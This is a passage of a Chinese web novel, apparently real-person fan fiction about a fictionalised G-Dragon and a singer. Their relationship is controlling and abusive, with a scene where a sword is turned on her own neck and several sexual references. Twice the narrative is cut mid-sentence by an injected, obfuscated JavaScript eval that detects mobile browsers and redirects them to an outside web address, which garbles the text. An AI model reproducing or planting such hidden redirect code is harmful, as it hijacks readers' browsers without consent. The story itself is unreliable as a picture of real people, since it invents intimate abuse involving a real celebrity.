可惜了,两个人竟然到现在都没怎么吵过架,兴许是她刚来的时候权志龙就犯错了,她又是刚出院,所以权志龙对她一直是捧在手心里,江留月早就过了年轻气盛非要找茬也要闹翻天的时候,所 以一直就这样凑活的过着日子。 她能怎么办呢,在她现在生活的圈子里,权志龙是绝对的权威,她不能做那个挑起事端的人。 因此江留月即使感受到了对方过度的控制欲也没有做出什么反应,她只想借着权志龙的能力去发专 辑,去回应真正爱她的粉丝们的期待,有了原来的经验,她也的确做得更好,想要更好的话……她 就得哄着权志龙开心才行。 至少,在她重新找到事业重心站稳之前,她本来是想这样一直忍下去的。 等事业站稳了,到她哥兵役之前再来整理,会好得多。 结果事情的发展一直在失控,她也越来越混乱,错乱的认知、缺失的记忆、权志龙变来变去的态 度……她越是想,也是觉得胸口沉闷到想吐的程度。 眼前的权志龙是谁呢?之前和她交谈的是谁呢?她绝望之际看到的是谁呢? 和她分手的、不要和她分手的、亲吻她的、推开她的,到底哪个是真的? 江留月又混乱又痛苦,以至于觉得胸口沉闷,她下意识的将手放在自己的胸口,却感觉到旁边的沙 发在下陷。 江留月睁开眼,却发现是权志龙很小心的坐在她的旁边,他的眼睛很红,是那种真的情绪激动的忍 着眼泪的红,脸色也很不好看,没有一点血色,看到她睁开眼睛看过来的时候,他甚至有些闪躲的 别开了脸。 她实在是懒得说话,于是就等着权志龙开口。 “塔伊。” 权志龙一开口,眼泪就簌簌的掉了下来,他也不敢擦,尽量的用平稳的语气诚恳的说道:“对不起,哥做错了,我向你道歉,原谅我吧,塔伊,可是,哥哥真的很爱你啊,塔伊,我要怎么做你才 能相信哥对你是真心的啊。” “不管是什么时候做错的事情,我都会承担起来的,我可以认错,你要怎么惩罚我都可以。” “但是,别伤害你自己好不好?” 他用卑微的语气:“……不是非要把你留在我的身边,只是我没办法让你一个人待着,我怕你会出 事,我只是因为太害怕了,光是想一下你会出事,哥都要疯了。” “塔伊啊,你要分手的话也可以,能不能等你的情绪稳定一些了,冷静一些了,我们一起去看一下 医生,也听一下专业的意见,你太疲倦了,太累了,我们就好好休息一段时间,我们都认真考虑一 下,好不好?” 江留月没有说话,只是静静地看着他。 她感到了很深很深的疲倦。 她明明就很冷静,情绪很稳定的跟他在认真说这件事情,权志龙又把这些事情归咎到她的情绪上。 好像认真思考一下就能发现,她只是一时头脑发热才提的分手一样。 2014年的权志龙真的很自信,自信到觉得,只要稍微给点时间,给点机会,他就能扭转她的想法。 ……不。 江留月猜直到兵役回归之后的权志龙发现自己真的找了个男朋友发大疯之前,他都一直那么自信。 看吧,因为她一直不说话,权志龙又开始试图靠近她一点,想要触碰她了。 这个人就是打心眼里觉得,她想分手,觉得痛苦的这些话语,是想得到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我原来也没打算现在分的……还不是你自己突然跳出来说可以分手,愿意让我回家,又突然死不 认账……不是,你是什么人格分裂吗?” 江留月看向权志龙,真情实感的感到了疑惑。 她抿了抿嘴,看向脸色煞白的权志龙,像是察觉不到对方精神崩溃的样子,继续问道:“真的不能 分手吗哥哥?” 她的口吻,甚至还点苦恼。 权志龙没有回答,只是眼泪簌簌的落下,呼吸都混乱起来。 “那这样吧,哥,我们单方面分,我跟你分,但是呢……我可以每天演给你看。” “……什、什么……?” 权志龙以为自己听错了,几乎是用恍惚的语气问道。 他一定是听错了。 他甚至觉得自己疯了。 “你能不能不要干涉我的专辑,也好好工作,我们也不跟任何人讲我们分手了,但是,你得知道我 们分手了。” 江留月说完这句话,自己也觉得混乱,她只好又梳理了一下:“是这样的,哥哥,我要发新专辑回 归了,我还要参加家族con,我不想因为分手闹得这些很混乱,但你如果不接受分手,就一定会搞 乱我要做的事情。” “你能不能不要来捣乱,让我平静的生活呢?” “我……我可以抽时间来假装我们没分手,也可以接吻,说实话我不讨厌跟哥接吻或者上床。” “我没办法爱你,但是……” 江留月总算找到了合适的解释方式:“我可以演得很爱你。” “从我回到2014年到现在,我不是一直都演的很好吗?” “我会演的很爱你的。” 权志龙一整个蒙住,他一时之间竟然说不出话来,只觉得眼前这个表情冷淡,带点疲惫的女人,有 着说不出的陌生。 他心中萌生出无数个耍赖的方式,但都才冒出来,就被羞耻感碾碎了。 他咽了好几次唾沫,都说不出一句话,倒是真像个吓坏了的小孩。 平时面对几十家媒体的围剿都面色平静,面对数万恶评也能嗤笑一下的权志龙,其实很不会处理亲 密关系中的争执。 他太习惯用弱势卖惨的行为来解决冲突,以至于当这招不起效的时候,完全硬气不起来,倒真的变 成弱势方了。 这场谈话,显然超过了他能处理的阈值,他不知道如何应对江留月看似平静实则风暴一样的控诉和 责骂,以至于整个人都卡住了。 江留月后面这些话说得太毒了,就好像他们之前相处的点点滴滴都是假的,都是演的一样。 光是想到这种可能性,权志龙就觉得自己呼吸困难。 他真切的感觉到了委屈,但又不敢委屈,他能感觉到一直以来支撑着他精神世界的山在坍塌,但他 除了目睹之外,完全没有任何办法。 “为……为什么啊,塔伊……?你为什么要……?” 权志龙无法接受也无法理解:“如果要这样闹的话……你一开始假装原谅我不就好了……?为什么 要告诉我这些?” “为什么……?” 江留月用一种‘你是傻子吗’的表情看着他。 她很平静,很坦荡的说: “因为你得知道,我很痛苦,而且我并不爱你这件事情啊。” “怎么能让我一个人痛苦啊,权志龙。” “我忍不了。” “如果现在这一切混乱是为了让我继续忍耐下去,每天都像是在地狱里的话。” 她轻轻地吐出一口气,平静的说道: “那你得来陪我才行。” “这就是你要的公平啊,哥哥。” 57.Heartbreaker (下) 57.Heartbreak(下) 不管是在哪个国家,什么时期,又是在什么场合下,凡是真的和江留月打过交道的人,都会认可一件事情。 江留月的确是一个活泼积极又情绪稳定的天使艺人。 不光是自己本身敬业,开得起玩笑又撑得住场子,哪怕是因为承办方或工作人员的疏忽导致了一些 问题,她也会先安抚好粉丝和自己那边工作人员的情绪,给足在场人的面子,然后积极地去解决问 题。 这在普通人当中都很难得的品格,在高压的娱乐圈中那些长期因为节食和不吃碳水又缺乏睡眠的艺 人中,更是凤毛麟角。 “Alice性格真好啊。” 大家在结束工作之后如果谈论起她来,都会真心实意的感叹。 事实上,只有江留月知道,她并不是性格好,她只是非常会忍耐罢了。 童年时期,她非常会忍耐孤独、饥饿和寒冷,长大一些,她又变得很会忍耐挑剔和打压、质疑。 因为这些痛苦,她忍耐的阈值变得很高,像是艺人们最讨厌最害怕的网络暴力、恶评等,对于她来 说就有些不痛不痒,因为她并不在乎那些,对于她来说,能让她感知到痛苦的,除了身体本身的生 理性疼痛之外,只有情感上的剥削。 她只在很少的人身上倾注感情,这也导致,这些人身上承载着她很高的情感期待。 权志龙无疑是那个满足了她对前辈、兄长、恋人等多角色幻想的人,在江留月工作的领域里,他是 绝对的权威,在她生活的圈子里,他又将她照顾的无微不至,在她对于未来的幻想中,权志龙始终 占据一席之地。 对于权志龙来说,开启恋人关系,是两个人幸福的开始,但对于江留月来说,两个人成为恋人之后 的确甜蜜过一段时间,接下来她所感受的,就是无处不在的落差感与细密却不致命的痛苦。 她似乎总是摆不正自己和权志龙的关系,他们太亲密了,在成为恋人之前,她就对权志龙的一切都 很了解。 她知道权志龙喜欢去夜店玩,也知道他总是把握不住和异性之间的接触距离,她知道权志龙会因为 想要偷懒、玩游戏、去玩而漫不经心的说谎,他的情绪也并不算稳定,说话的时候过嘴不过心,因 为从小众星捧月而很难共情到沉默的苦难。 这些在和权志龙交往之前就知道的问题,在交往之前,甚至是权志龙的魅力,但交往之后,随着身 份的转换,却成为江留月难以启齿的痛苦。 因为在感觉到痛苦的第一时间没能开口,所以当这痛苦无数次重复的时候,她的尖叫和控诉不再被 听到。 江留月不是没有努力过,她质疑过自己,也改变过自己,也努力试着对权志龙进行沟通,甚至发脾 气、哭泣,但她绝望的发现,权志龙并不会真的因此改变。 他只是会给痛苦换一个更好看、更忠诚、更热烈的外壳罢了。 为什么她都那么痛苦了,权志龙还不改变呢? 江留月怎么都想不明白。 直到有一天,她自己也忘记的某个时刻,有人跟她说,‘塔伊,好孩子,不要将刀尖对着自己,去 对准让你痛苦的人。’ 江留月这才如梦初醒。 为什么一直忍耐的人是她,为什么一直痛苦的人是她,因为人类是绝对无法感同身受的生物。 哪怕有着热烈的爱意,有着慈悲的心肠,有着救世的无私和绝对毋庸置疑的真心,刀子不扎在自己 身上,就是不会真的感到疼痛。 刀子扎进去的时候,人才会明白在对方哭着说自己痛苦的时候,不是因为怕疼,不是因为脆弱,不 是因为不懂闪躲,不是因为不懂控诉,想要免除这样的痛苦,也根本不是喊痛的那个人能做到的。 “我跟别人说话的时候,哥哥也猜猜看,我是不是对那个人心动了?听到别人有我的电话号码,喝 醉了给我打电话的话,我心情好的时候也会接听看看。” “啊,还有,因为是艺人所以不可避免的,我和粉丝也好,和其他艺人也好,这样那样的肢体接 触,因为想要做演员,所以偶尔接吻一下……哥哥也能全部理解吗?” 权志龙显然不能。 他的痛苦和泪水都要被怒火给冲散烧干了,表情都变得冷峻起来。 江留月并不怕他,真不知道权志龙有什么可怕的,她以前总是怕他生气怕他难过怕他冷战怕他不接 电话不回信息怕他在看到她的时候没有笑着走过来…… 怕来怕去,无非是害怕权志龙真的会在某个瞬间收回对她所有的爱。 她的人生、社交、工作、事业,几乎都搭建在权志龙为她选择的人生道路上,她居住在她哥为她建造的巴别塔上,要怎么不害怕这个人呢? “你想这样干?塔伊?” 权志龙的声音也变得金属质感起来,他生气的时候就是这样,说话的温度都降低,周身都是低气 压,身边的工作人员也好成员们也好甚至家里人也好,没有不害怕的。 他挑起一边的眉毛,十足是被挑衅到的怒火: “你在试图激怒我吗?为什么这样做呢,塔伊,你明明知道,你这样做,我们也不会分手。” “我没有说分手的事情,哥。” 江留月厌倦了这种推拉,她很平静的说道:“哥那么喜欢交往,那我们就继续交往好了,只是这件 事情,对我来说没有那么重要罢了。” “从今往后,我的人生、事业、友情……都要排在这件事情的前面,哥如果跑过来捣乱,我就只好 认为,你想分手了,这样可以理解吗?” 权志龙形状姣好的唇被咬出了很深的牙印,他可能因为情绪太翻涌,反而冷静了下来,静静的看着 眼前的人。 熟悉的脸,熟悉的身影,但,脸上的表情,又冷淡、又厌倦,真是令人难过。 “塔伊……这样我们还算情侣吗?” 权志龙问道。 “怎么不算呢,哥。” 江留月抓了抓自己的头发,她的表情有一种趋于残忍的娇憨感:“我们还是可以亲吻,可以上床 啊,这不是情侣该做的事情吗?” 权志龙被气笑了:“呀——这是情侣还是炮……” “哥原来不就这样对我吗?”江留月打断了他的话,认真的看向他:“志龙哥,你忙起来的时候, 我们见面就拥抱、接吻、上床,我醒来的时候你已经走了,见面不是在酒店就是家里,你说的十 句‘我爱你’里头,有十一句不是哄我再来一次就是哄我再多等你一会儿……我当时也很迷茫,觉得我们都不像是情侣了。” “权志龙,既然你自己问了,那我也问你好了,当时委屈又迷茫的我问你这些问题的时候,你还记 得自己当时说过什么吗?” 权志龙哑口无言。 自2012年起,Bigbang和他都处于事业巅峰期,团队回归之后紧接着就是个人回归,然后是世界巡 演,再日本巡演,紧接着又是个人回归加上个人世巡……他忙到起飞,最高记录通宵34个小时,稍 微有点时间,他的脑子里都是要抱着江留月好好地给自己充满电,他想念她的一切,从声音到温度 再到身上的香味,这种极度的渴望得不到满足,他变得暴躁易怒,因为工作上某个环节的失误导致的时间延迟而大发雷霆,刻薄的话几句就让全场气氛陷入冰窖…… 他迫切的需要安抚,而且,能安抚他的,只有一个人。 江留月不得不顺从他的需要,甚至因此让渡出了自己本来的回归歌曲转给能去进行活动的其他艺 人,她在酒店的房间,在日本宿舍的厨房,在他演唱会的后台,在保姆车的角落里,伸出她柔软的 手臂,接纳他摇摇欲坠的身体和灵魂。 权志龙也知道那段时间自己对江留月的需求到了病态的程度,但短暂的相聚的确让他充满了元气, 他所有的负面情绪和身体上的痛苦都在江留月的怀抱里溶解消失,江留月是他的圣女,将他从深渊里一次次拖出来,净化掉他身上的污浊。 愧疚吗? 一定是有的。 因为临时增加采访,江留月在酒店等他等了五六个小时的时候,早上闹钟响,江留月睡不醒也爬起 来叮嘱他要好好吃饭少抽烟的时候,发着烧躺在床上撒娇,江留月整夜不睡抚摸他额头量温度的时 候,因为粉丝跟着,江留月吓得从保姆车后排直接挤到角落里抓起卫衣盖在自己头上的时候…… 江留月做好了饭他却又出去应酬喝了酒回去,她气坏了说自己饿着肚子在等他,权志龙赶紧赔不 是,又陪着她吃,她却才吃了一口眼泪就啪嗒啪嗒掉下来。 她的眼泪越流越多,最后哇哇大哭,说他很坏,她等了很久,期待了很久,为什么她现在活得像是个保姆或者暖床情妇一样,说她好委屈,答应带她出去玩的约定一次也没实现过,说她真的生气 了,为什么只能在酒店里见面还要骗她过来。 愧疚总是在那个时候冒出来,然后又化为,信誓旦旦的,自圆其说的话。 【哥哥一定会补偿你的,宝贝。】 【以后会对你更好的,塔伊啊。】 权志龙画着空头支票,把人搂在怀里吻去泪水,压低声音道歉。 【你怎么会是保姆和情妇……少看点奇怪的视频吧宝贝。】 【你是我唯一的女朋友呀。】 【因为哥哥真的很辛苦很累,所以实在撑不下去的时候只想着你,所以才见你的,让你受委屈了, 是我不好。】 【我会改的。】 【我会对你更好的。】 【原谅我吧。】 江留月总是红着眼睛,低着头抽噎着,权志龙看着她鼻尖都红红的样子,又觉得心里酸软成一团, 于是半跪在地上抬起头,虔诚的亲吻她的手指,细细密密的吻像是雨水一样让江留月软化了。 他于是得寸进尺的将人抱起来取悦她,江留月还在哽咽,感受到他贴上来的异样顿时瞪大了红红的 眼睛,然后抬手就要抽他的脸,气得又哭出声来骂他不是人。 权志龙只觉得她骂人的样子也可爱到不行,心头仿佛有火在烧,低头亲她眼睫毛上的泪水,冰凉的 濡湿感才能勉强压住他沸腾的血: “宝贝,你好甜啊。” 这种没营养的话,在当时,权志龙是真心实意觉得的。 可是眼泪哪有甜的。 都是又苦又涩,又无可奈何。 这些事情,对于权志龙来说也不过是去年才发生的,那些翻来覆去保证的话,他想要再说出口,都 有些羞于启齿。 于是,他干巴巴的说了一句:“我、我以后会做得更好的。” 说完,权志龙就沉默了,自己也觉得挫败的胡乱的搓了一把自己的脸,心里头有个地方悄无声息的塌陷下去,他似乎站到了深不见底的悬崖边,光是看一眼都觉得心悸。 他有好多话要说,比如他拼命把工作都堆积在去年是因为想要排出更多的时间来休息,他们刚搬进 来的这个新家有着很多巧思,他要一一告诉她,想要在漫长的休息日里抱着心爱的小蝴蝶度过懒洋 洋的时光,他要把大把的时间都拿来赔给她,要在eback的时候当她的一日经纪人,在酒店里 趴在放着外卖的桌子上等她下班。 他写了好几首轻快的曲子还刻录出来了,他要在有阳光的日子搂着她赤着脚在客厅里跳舞,他要贴 在她的耳边轻声哼唱歌词,说她是他的butterfly。 但是现在说这种话,又好像是狡辩一样。 这小孩说早就不爱他了。 可笑。 他早就知道了。 他精心算计才得到,处心积虑的掌控,连哄带骗的蒙蔽,小心翼翼的扮演能够被她喜欢的样子,不 是就是希望她能至少贪图他点什么,或者害怕外面可怕的世界,乖乖地留在他身边吗? 猛然一下子说不爱他了,权志龙反而有一种悬在头顶的刀掉下来的如释重负感。 这个世界上又不是只有爱情,太多感情会将人绑在一起了。 他本来很有自信,自己把江留月养得很好的,这孩子至少也会因为什么留下来的。 本以为是呵护和照顾,听完录音,他又觉得是资源和专辑,可现在,权志龙又觉得迷茫了,他好像 真的不知道,江留月要什么了。 权志龙忽然有些焦躁起来,他眼巴巴的看向江留月,试图想要看懂她的心。 江留月和他的眼神对上了,她又叹了口气,然后从沙发上站了起来。 “我回家了。” 她一边说,一边朝着外面走去。 权志龙被她这句话吓了一跳,赶紧伸手拽住她:“你去哪里?塔伊啊?!” 他磕磕巴巴的说道:“你、你的家不就在这里吗?” 江留月回头将他的手扯下来,微微摇头:“这是你家,哥,我要回我自己的家,我要找个不会被拆 掉的地方睡一觉,然后,我要去公司工作,哥如果觉得身体好点了,就来公司帮我看看录音情况 吧。” 她说话的口吻太正常了,以至于权志龙人都有点懵。 他想说这怎么会被拆掉呢,又想起江留月之前迷迷糊糊的话语。 酸涩的心痛让他语气不由自主的变得柔和了,权志龙斟酌了一下用词:“塔伊啊,你很累了,先睡 一觉好吗?等你睡醒了,休息好了再回去吧。” 江留月抗拒的皱起眉:“我们吵架吵到天都亮了,哥,你的保证说得能绕光华门一圈,现在又开始 听不懂我的话了?” 她太过明显的抗拒的表情刺痛了权志龙,他下意识的想伸手拽住她,但江留月立刻后退一步;拉开 了距离。 “……不是这样的,塔伊啊。”权志龙很不想让江留月走,他总觉得今天这个局势很不好,江留月 回去一个人待着,越想越气,演都不想演了怎么办? 他心里头急得团团转,嘴里也说不出什么‘你都说要演我的,说可以接吻上床的怎么能跑呢’的 话。 真说出来了,江留月大概真的演都不演,要弄死他了。 江留月确实累了,她之前睡觉都有些半梦半醒,醒来也觉得很累,又那么情绪激烈的和权志龙争辩 了那么久,她确实迫切需要休息。 之所以想回自己的公寓,也是因为,她需要安静的休息,而不是待会儿权志龙又摸上来这样那样搞 东搞西的试图用别的什么东西诱惑她和好。 就像是她说的,她不抗拒和权志龙接吻上床,对方似乎在这个方面有什么天赋异禀的能力,总是能散发出要命的吸引力。 江留月的表情可能太决绝了,权志龙一下子就慌了,他抓不住江留月也不敢抓,于是就绕到她面前 挡住她去玄关的路。 “别走,塔伊。” 权志龙急得不行,他又不能上手,脑子里又只有自己翻来覆去说烂了的那些承诺,情感逼迫他恳切 的用哀求的语气说道:“我可以去客房睡,好吗,你别这样离开我。” 江留月:“……” 她不知道权志龙又脑补了什么。 感情过于敏感充沛并不是什么好事儿,她都跟权志龙说了现在不分手了,还能演爱情戏了,他还要 怎样? 可能因为太无语了,江留月没好气的呼出一口气:“让开吧,志龙哥,我今天真的不想继续吵架 了,我很累,真的很累,我不想在这个房子里待着,我总觉得这个房子会垮掉……我觉得害怕, 哥,我想回自己那里。” 所以这个房子怎么会垮掉啊!!! 权志龙因为这荒谬的拒绝更觉得江留月只是在敷衍他,他想起自己和‘自己’对话的时候,他说他 们已经分开了8年了,就觉得一阵窒息。 从他认识江留月到如今,已经过去了9年时间,这9年中,他们完全断联的时间就没有超过一周过, 就算不得已分开两地,也会有漫长的电话煲,后面科技发达有了视讯通话就更方便了,他有时候还 会让江留月开着视讯睡觉,光是看看对方的睡脸,他就觉得心里舒服许多。 别说八年了,八个月他都觉得自己会死。 “……我会死的,塔伊。” 权志龙手指都攥得青白,声音飘忽的像是鬼一样,整个人如同风中的烛火在摇晃一般:“你这样离 开我的话,我会死的。” 江留月本来都要推开他了,闻言猛然顿住。 她沉默了两三秒,然后抬起头,看向权志龙,十分认真的问道: “哥,你在威胁我吗?” 权志龙一口气哽住,心口忽然涌出强烈的不妙。 江留月却不是生气,反而是微笑了起来,她抬起手在空中压了压空气,似乎在做了什么重大决定一 样。 其实,她只是,气疯了,她就没想过权志龙那么听不懂话,这么胡搅蛮缠。 江留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15128825|151195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月环顾一周,锁定目标,立刻抬脚走到了装饰墙边,那边的八斗柜上摆着一把权志龙从日本带回来的唐刀,她手也不顿一下,抬手抽出了那把唐刀。 她在内娱拍了好几部玄幻剧,跟着专业的武术老师练习过刀法和太极,抽刀的瞬间手腕就翻转,转 了一个漂亮的剑花,唰的在空中打出破空之音。 她回过头,用平静的表情看着权志龙,然后,微微挑眉,露出了一个笑容。 权志龙脑子嗡的一声。 尽管不合时宜,尽管时机、地点、气氛全都不对。 他依然被眼前这一幕所震撼,这是他从未见过的江留月,披散着一头银发,一身松散随意长衣长 裤,裤脚边露出一点足尖。 她素白的脸上,一双如黑曜石般的眸子里毫无情感的波动,只有凛凛的刀光剑影。 他在这个瞬间,毫不怀疑,江留月手上这把刀要落在自己的脖子上了。 他没有动,呼吸都顿住的,屏息看着她,毫无躲避的意思,心里头却沸腾翻涌着难言的兴奋。 她如果真的要杀了他。 也不是不行。 这甚至是他无数个糟糕幻想,无数个支离破碎的梦境中,最不可见人的一幕终局。 他所豢养的玫瑰浑身尖刺的挣脱他的怀抱,将戒指塞入他的喉咙,用求婚的丝带勒紧他的脖子,又 或者用一把刀刺入他的胸膛,挖出他的真心。 她要验证他的真心,而他终于得以被验证。 “……哥,你觉得,你会死在我手下吗?” 江留月轻飘飘的问道。 光是看权志龙的表情,她就知道她哥到底在想什么。 超脱于常人的认知,权志龙那偏执的爱意到底已经扭曲成什么样子,她比任何人都知道,也许对别 人来说,死亡是恐惧的未知,但对权志龙来说,死于爱情的利刃,是他的终极浪漫幻想。 权志龙盯着她的眼睛,没有说话,但那双淡色的眸子里狂热的情绪都要满溢出来了,以至于眸子里 翻涌着暗色。 这种情绪的极端拉扯,是令人窒息的情绪高.潮。 他只等她的判决。 他近乎肮脏的低俗想法,对于爱情的极端幻想,他手心里颤抖着的butterfly,被道德和人类法律 压抑的破坏欲,在这一刻,等待一把削铁如泥的利刃将它们尽数斩落撕烂,化为他执念的挽歌。 江留月没忍住,她轻笑了起来,用软软的声音对权志龙说道: “你想得美。” 她手腕一个翻转,那把唐刀就架在了她自己的脖子上。 美人自刎,如冰刀刺玫瑰。 权志龙脸上的血色却立刻尽数褪去,立刻就喊出来她的名字向前扑来。 “塔伊——” “嘘————” 江留月冷淡的制止住他慌乱的动作和急促的呼唤。 她漂亮的眼睛像是一对流光溢彩的琉璃,闪烁着近乎无机质的冰冷光彩。 “怎么了,哥哥,这声音怎么急急忙忙的,跟要哭了一样呢?” “你不是很喜欢威胁我吗?” “怎么威胁的人变成你,你就不开心了?” “在我要离开你的时候,在我变心的时候,在我和你吵架的时候,把我给杀了,这也是你的幻想之 一不是吗?歌也写了好几个了,MV也拍了,我又不是傻子,我当然知道这是你在悄悄警告我呢。” “志龙哥,怎么啦?” “你不喜欢这个幻想吗?” 权志龙脸色惨白,嘴唇都有些颤抖了,他后知后觉的感受到恐惧攫取他身体的寒冷感,他意识到, 江留月真的不是在开玩笑。 他的头传来剧烈的疼痛,他抽吸着伸出自己的手,试图让江留月冷静下来。 “塔伊,抱歉,哥说错话了。” “对不起,宝贝,我大概是晕了头了,我说错话了,我不会做那种危险的事情。”权志龙的声音不 可抑制的带上了哀求:“你也不要伤害自己,求你了。” “真的吗?” 江留月慢条斯理的将刀刃压向自己,其实这把刀的刀刃都没开,她哥也是关心则乱,现在慌得已经 要哭出来了。 “可是哥不是很喜欢威胁我吗?各种各样的。” “不是很喜欢和我吵架了就喝醉吗,不吃饭也不睡觉的喝酒熬夜,发着高烧穿的单薄的坐在车里面 过夜,没日没夜的写歌不肯从工作室出去,看着我当时心痛你心痛得流泪,抱着你说对不起你…… 真搞笑,到底是谁要说对不起啊。” “塔伊,对……” “啊……别道歉,我不想听到哥的嘴巴里再说出这种重复的没有意义的单词了。”江留月唰的将刀 刃转了过来,本就是一把装饰用的唐刀,没有什么杀伤力,但雪白的刀刃压在权志龙像是被玫瑰花 枝抽过的红红白白的脸颊上时,又别有一种风情。 权志龙愕然的看着江留月,他的心脏咚咚直跳,在这个时刻,不合时宜的膨胀,然后一片片崩裂。 “哥哥,别道歉了,我讨厌听这种话……我现在只想让哥做一件事情,那就是,听我的话,可以 吗?” 江留月说完,用刀刃拍了拍权志龙的脸:“说话呀,哥哥。” 她的声音软软的,口吻带着点撒娇,但打在脸颊上的刀刃却冰冷,权志龙混乱不堪,他晕晕乎乎的 点头,只觉得自己像是被勾了魂一样,手脚都是酥麻的。 “志龙哥,你自己都说过,‘男人不是孩子的话就是狗’【注】’,但是我不喜欢孩子一样的男 人,幼稚、没有担当还很麻烦。”江留月凑得很近,她的手松开了唐刀,金属制品在木地板发出很 大的声音,但是权志龙都听不到,他的目光直勾勾的盯在江留月花瓣一样的嘴唇上,他艰难的咽了 一口口水,喉结快速的滑动着。 糟了。 这也太糟糕了。 “哥哥,你会是听话的小狗吗?” 江留月捧着权志龙的脸,权志龙都要站不住了,他几乎是立刻柔顺的嗯了一声,然后想要凑上去吻 她。 江留月用力的拧住他的耳朵,强行拉开两个人之间的距离。 很近,鼻尖蹭着鼻尖。 很远,他吻不到那一张一合的嘴唇。 “哥哥,听话的小狗要学会的第一件事情,你知道是什么吗?” 权志龙不知道,他这会儿被情绪的大起大落折磨得快要疯了,然后是无法控制的欲念,粘稠的让他 感觉到窒息的甜蜜的爱意,明明江留月是捧着他的脸,他却觉得被捧起来的是他热乎乎的一颗心 脏。 她纤细白嫩的手指将那颗心脏攥紧揉碎,又顺着他的喉咙滑下去。 塔伊。 塔伊。 塔伊。 他的□□、爱欲之火,在花园里欢笑,也在夜色中荡秋千,在他噩梦中提着灯拜访,又在他的 美梦结束睁开双眼时抚摸着他的额头的蝴蝶夫人。 “等待。” “乖狗狗学的第一个指令,都是等待。” “哥哥,你一定能做得很好,对不对?” 权志龙的眼睛都湿润了,他呼吸急促的点头,脑子晕乎乎的,膝盖不由自主的跪下来,变成江留月 弯腰捧着他的脸。 她银色的发丝笼在他的脸庞周围,有些冰凉的痒意。 “那就等待吧。” 江留月轻轻地在他的嘴唇上啄吻了一下。 “我会联络哥哥的。” “我们到时候见。” 她说完这句话,便松开了自己的手,然后直起了身子,银色的发丝从权志龙的视野里消失,变成遥 不可及的月色。 江留月捋了一把自己的头发,将它们都捋到自己的脑后,然后朝着门口走去。 不可抑制的,权志龙下意识的想要起来去阻止她。 江留月却在这个时候回了一次头,他们的视线在空中交汇,权志龙呼吸急促的抖了一下,然后,放弃的一屁股跪坐在地板上。 完了。 听见江留月的脚步声渐行渐远,权志龙自暴自弃的躺在地板上,用手臂挡住了眼睛。 他的灵魂轻飘飘的发出叹息。 他感到混乱、失控,也感到脖子上无形的锁链在收紧。 在近乎窒息灭顶的痛苦与愉悦中。 他的手指却似乎隔着十年的时光,第一次触碰到了蝴蝶的翅膀。 注:‘男人不是孩子就是狗’出自权志龙2013年正规专辑中的《R·O·D》 58.同人不同命 同人不同命 人,只要活得够久,就什么都能见到。 权志龙如是想。 本来已经历经三十多年风风雨雨,他自认泰山崩于前而面不改色,如今却连叹口气都觉得不知道往 哪里叹比较好。 本来因为无法脱离梦游廊,他就开始重新去长廊里的房间里寻找蛛丝马迹,因而错过了江留月 和‘他’的争吵。 他很意外的发现,自从自己去过2014年,在这个年份之后的所有房间,都对他关闭了。 这似乎意味着,江留月的记忆正在发生动荡和改变,因此他无法再打开房间面对‘过去的回忆’。 这不是什么好事情,权志龙感到忧心忡忡,但当他脱离房间之后,却感受到了尖锐的头痛和隐约的 声音。 再度睁开眼睛的时候,他又看到了镜子里,年轻的自己。 接下来就是长达十几分钟的语速如同《crayon》里的rap的疯狂diss,权志龙从一开始的懵逼到后 面的试图张嘴打断再到最后的无奈静候对方情绪宣泄结束,也只用了短短一分多钟。 倒也没有别的什么意思。 只是,对面那个人可是自己,权志龙太了解自己了。 那滔滔不绝的怨气和愤怒,一旦开闸就绝对不可能暂停,就算是强行拉停也没有用,他会在接下来 的时间里无法摆脱这种情绪,持续低压和沉浸在这件事情中,直到自己的情绪完全拉回来。 所以,只能听着。 对方控诉的无非就是,对方承受了自己在2014年~2024年这十年来犯下的所有错误带来的严重后 果,本来甜蜜蜜的小日子一去不返,塔伊闹着要分手,也不听他解释道歉,好不容易不分手了,又 说早就不爱他了,都是演戏骗他的,现在人的心也碎了,女朋友也快没了,哄又哄不好,见也见不 到——因为说好会联系他的小骗子,已经三十几个小时没有短信也没有电话了。 “……你可以去找她啊。” 权志龙不信自己那么有骨气,能这样完全拉对抗拉三十几个小时。 镜子里年轻的自己忽然憋住了一下,然后耳朵和脖子一下子就红温了。 支支吾吾半天之后,年轻的那个自己总算提出了要求,他要自己去道歉,告诉江留月这一切都是未 来的自己犯的错,不能怪罪到2014年的他身上。 权志龙:“……” 敢情是让他出去背锅的。 看对方的表情也知道,对方一定是没有把所有的事情都说出来的,但,权志龙因为过于了解自己, 甚至连追问的心情都没有。 而且……如果塔伊真的要留在2014,那么这个危险家伙必须做出改变吧。 “好吧,我们来交换好了。” 灵魂进行交换有两个必要条件,一个是灵魂只能进去自己的身体,另一个就是,身体如果本来就有 灵魂,那必须是进入濒死状态才行。 权志龙指挥自己在盥洗台的水盆里装满水,然后屏息让自己进入极度缺氧状态,这是他最初试图进 入梦游廊的方法,后面发现这个会在几秒之后就脱离缺氧状态而导致灵魂强制返回,最后才改为抽 血疗法。 “我去道歉的话,你也要做点什么吧。” 权志龙对自己很坦诚,也没什么弯弯绕绕的解释了梦游廊的结构与原理,并让年轻的自己去尽头的 房间拜访。 其实,他也是直到2021年,才在中国的采访中知道了江留月的童年。 这孩子很少提到自己的家庭,一直以来,权志龙都只知道她父母是再婚家庭,可能为了面子着想, 乔娜和柳天赐对外宣称的剧本一直是他们先结婚,然后因为家庭阻挠分开,后面又在时光荏苒之后 认清彼此才是真爱所以重归于好。 